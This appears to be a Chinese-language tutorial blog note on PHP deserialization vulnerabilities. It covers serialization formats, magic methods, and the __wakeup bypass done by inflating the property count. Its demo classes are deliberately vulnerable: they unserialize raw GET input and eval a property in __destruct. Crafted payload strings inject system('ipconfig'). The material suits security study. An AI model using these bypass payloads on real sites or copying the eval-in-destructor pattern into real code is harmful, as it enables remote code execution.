1.普通的序列化和相应的反序列化代码操作
2.反序列化漏洞利用1 参数个数错误从而wakeup函数不会被调用 一般防火墙都在wakeup函数这里 这样也就实现了绕过
改变量的个数 会跳过wakeup 但是仍然会执行
但是改变量长度和值的长度 wakeup也不会执行 但是对象已经不正常了
当反序列化变量的个数不对,那么__wakeup就不会执行 直接执行了__destruct
所以可以夹带私货
但是切记 一旦修改变量数量绕过了wakeup函数 后续也没有办法再用反序列化的结果去调用自身的函数 已经存在问题了
一般网站牵扯到大型数据的传输 有时候就可以通过post或者get直接执行恶意语句
举例:防火墙
![](https://img-blog.csdnimg.cn/7e8fb79c48244e4a8f30453bbb1daad4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/76bec6e2bad74d5fbd78d71cf8fb16d0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
如果页面可以执行php的东西 或者存在写入文件的情况的话 那么私货就可以被成功执行了
![](https://img-blog.csdnimg.cn/4b9b30288b234cf6af0df747efa1dd20.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
![](https://img-blog.csdnimg.cn/4d8d7e6e24974e0fa5a042fe7a1260ef.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU2ltb25fU21pdGg=,size_20,color_FFFFFF,t_70,g_se,x_16)
3.反序列化漏洞利用2 INF的比较问题
//序列化和反序列化漏洞复现
var_dump('INF'==INF);//false
var_dump('INF'!==INF);//true
var_dump(md5('INF')===md5(INF));//true
echo '<br/>';
echo md5('INF');
echo '<br/>';
echo md5(INF);
4.当不仅仅是public时,还有private和protected的情况时如何写序列化的结果
在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:
<pre>
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
<b>反序列化unserialize()</b><br />
<p>就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。</p>
<pre>
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
</pre>
<p>序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题</p>
<pre>
常见的几个魔法函数: 前面是两个下划线
__construct()当一个
对象创建
时被调用 构造函数
__destruct()当一个
对象销毁
时被调用 析构函数
(后进先出 后被创建的先析构)
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在
被序列化之前
运行
PS:serialize()函数在执行前会检查是否有__sleep函数 如果有就会先执行这个函数
这个函数会返回一个包含对象中所有应该被序列化的变量名称的数组
如果该方法未返回任何内容 则NULL会被序列化 所以会出现序列化结果是N;
__wakeup将在
反
序列化之后
立即被调用 (unserialize先执行 wakeup后执行)
<?php
class people{
//类变量
public $name;
public $age;
//构造函数,new类时候自动调用
function __construct(){
echo '构造函数被调用了<br/>';
}
//析构函数,事情做完之后调用
function __destruct(){
echo '析构函数调用<br/>';
}
//反序列化之后立马调用的函数
function __wakeup(){
echo '有东西被反序列化啦<br/>';
}
//类函数
function shuohua(){
echo 'wo jiao '.$this->name." jin nian ".$this->age." sui<br/>";
}
}
//初始化类
$ren1 = new people();
//给类变量赋值
$ren1->name="xiaoming";
$ren1->age = 20;
//使用类方法
$ren1->shuohua();
//把ren1进行序列化
$xuliehua_ren1 = serialize($ren1);
//O:6:"people":2:{s:4:"name";s:8:"xiaoming";s:3:"age";i:20;}
echo $xuliehua_ren1.'<br/>';
//反序列化
$str1 = 'O:6:"people":2:{s:4:"name";s:8:"xiaoming";s:3:"age";i:20;}';
$copy_ren1 = unserialize($str1);
$copy_ren1->shuohua();
?>
//当传入的需要反序列化的字符串,有多少个参数的位置,发生错误,wakeup不会启动
$str1 = 'O:6:"people":3:{s:4:"name";s:8:"xiaoming";s:3:"age";i:20;s:3:"job";s:6:"driver";}';
$copy_ren1 = unserialize($str1);
$copy_ren1->shuohua();
<?php
//序列化和反序列化
class people{
//变量
public $name;
protected $age = 20;
private $job = "driver";
//构造函数,new的时候自动调用
function __construct(){
echo '构造函数启动<br/>';
}
//析构函数,事情做完了之后调用
function __destruct(){
echo '析构函数调用<br/>';
echo '没问题,保存进度<br/>';
}
//反序列化自动调用
function __wakeup(){
echo '反序列化启动<br/>';
echo '防火墙启动,不要乱来<br/>';
}
//类函数
function shuohua(){
echo 'wo jiao '.$this->name.' nian ling '.$this->age.' sui job is '.$this->job.'<br/>';
}
}
//初始化
/*
$ren1 = new people();
$ren1->name = "xiaoming";
$ren1->shuohua();
*/
//序列化
//O:6:"people":3:{s:4:"name";s:8:"xiaoming";s:3:"age";i:20;s:3:"job";s:6:"driver";}
//O:6:"people":3:{s:4:"name";s:8:"xiaoming";s:6:"*age";i:20;s:11:"peoplejob";s:6:"driver";}
/*
protected属性序列化之后
%00*%00名字
private属性序列化之后
%00类名%00名字
*/
/*
$code = serialize($ren1);
echo $code.'<br/>';
*/
/**/
//当传入的需要反序列化的字符串,有多少个参数的位置,发生错误,wakeup不会启动
//$str1 = 'O:6:"people":3:{s:4:"name";s:8:"xiaoming";s:6:"%00*%00age";i:20;s:11:"%00people%00job";s:6:"driver";}';
///s.php?str1=O:6:"people":3:{s:4:"name";s:8:"xiaoming";s:6:"%00*%00age";i:20;s:11:"%00people%00job";s:6:"driver";}
$copy_ren1 = unserialize($_GET['str1']);
$copy_ren1->shuohua();
?>
代码分析学习:
<?php
class people{
public $name;
public $age;
public $location;
function __construct(){
echo 'people类的对象被创建了!<br/>';
}
function __destruct(){
echo 'people类的对象被kill了<br/>';
eval($this->location);
}
function __wakeup(){
echo '有字符串刚刚被反序列化了</br>';
die('stop hacking!');
}
}
$ren=new people();
$ren->name="xiaohong";
$ren->age=18;
$ren->location="jiangsu";
$results = serialize($ren);
echo $results; //O:6:"people":3:{s:4:"name";s:8:"xiaohong";s:3:"age";i:18;s:8:"location";s:7:"jiangsu";}
echo '<br>';
$result2='O:6:"people":3:{s:4:"name";s:8:"xiaohong";s:3:"age";i:18;s:8:"location";s:19:"system("ipconfig");";}';
$hehe=unserialize($result2);
?>
其他情况代码学习:
<?php
class people{
public $name="xiaohong";
private $age=18;
protected $location="jiangsu";
function __construct(){
echo 'people类的对象被创建了!<br/>';
}
function __destruct(){
echo 'people类的对象被kill了<br/>';
eval($this->name);
}
function __wakeup(){
echo '有字符串刚刚被反序列化了</br>';
die('stop hacking!');
}
}
$ren=new people();
$results = serialize($ren);
echo $results; //O:6:"people":3:{s:4:"name";s:8:"xiaohong";s:11:"peopleage";i:18;s:11:"*location";s:7:"jiangsu";}
echo '<br>';
$result2='O:6:"people":4:{s:4:"name";s:19:"system("ipconfig");";s:11:"peopleage";i:18;s:11:"*location";s:7:"jiangsu";}';
$hehe=unserialize($result2);
?>